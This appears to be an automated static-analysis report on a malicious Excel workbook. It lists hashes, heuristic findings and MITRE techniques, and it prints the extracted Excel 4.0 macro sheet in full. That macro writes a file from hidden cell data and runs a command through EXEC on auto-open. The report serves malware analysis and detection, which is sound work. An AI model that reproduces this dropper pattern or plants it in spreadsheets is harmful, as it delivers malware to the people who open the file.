Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 587014f53254f438…

MALICIOUS

Office (OOXML)

269.9 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-24
MD5: 4f91ac40df87852770cb61b9dde0e97d SHA-1: cc1de791e2a3264ee2f887d5b14626253b88d261 SHA-256: 587014f53254f438e32ac5928487ac20aa0ee013b37d0074c59fc9b6e2b3209b
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The macros utilize dangerous functions like FOPEN, FWRITE, FCLOSE, and EXEC to download and execute a payload. The 'EXEC(Macro1!$B$1446)' function is particularly concerning as it directly executes code, likely a second-stage payload. The presence of a hidden sheet further suggests an attempt to conceal malicious activity.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1490 bytes
SHA-256: c7021c4175626d5753c83aec26d880523067ebbf10032b290033471956ed5f91
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A209:B1525"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="209" spans="1:1"><c r="A209" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$935, 1, 200), 1+2)</f><v>0</v></c></row><row r="277" spans="1:1"><c r="A277" t="b"><f>FOR.CELL("bapjrLMHhYM",Sheet1!M164:M25752, TRUE)</f><v>0</v></c></row><row r="361" spans="1:1"><c r="A361" t="e"><f>FWRITE(Macro1!A209,CHAR(bapjrLMHhYM))</f><v>#NAME?</v></c></row><row r="469" spans="1:1"><c r="A469" t="b"><f>NEXT()</f><v>0</v></c></row><row r="558" spans="1:1"><c r="A558" t="b"><f>FCLOSE(Macro1!A209)</f><v>0</v></c></row><row r="935" spans="2:2"/><row r="1338" spans="1:1"><c r="A1338" t="b"><f>SET.VALUE(Macro1!$B$1446, GET.NOTE(Macro1!$B$1446, 1, 200))</f><v>0</v></c></row><row r="1434" spans="1:1"><c r="A1434" t="b"><f>EXEC(Macro1!$B$1446)</f><v>0</v></c></row><row r="1446" spans="2:2"/><row r="1525" spans="1:1"><c r="A1525" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="D688" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>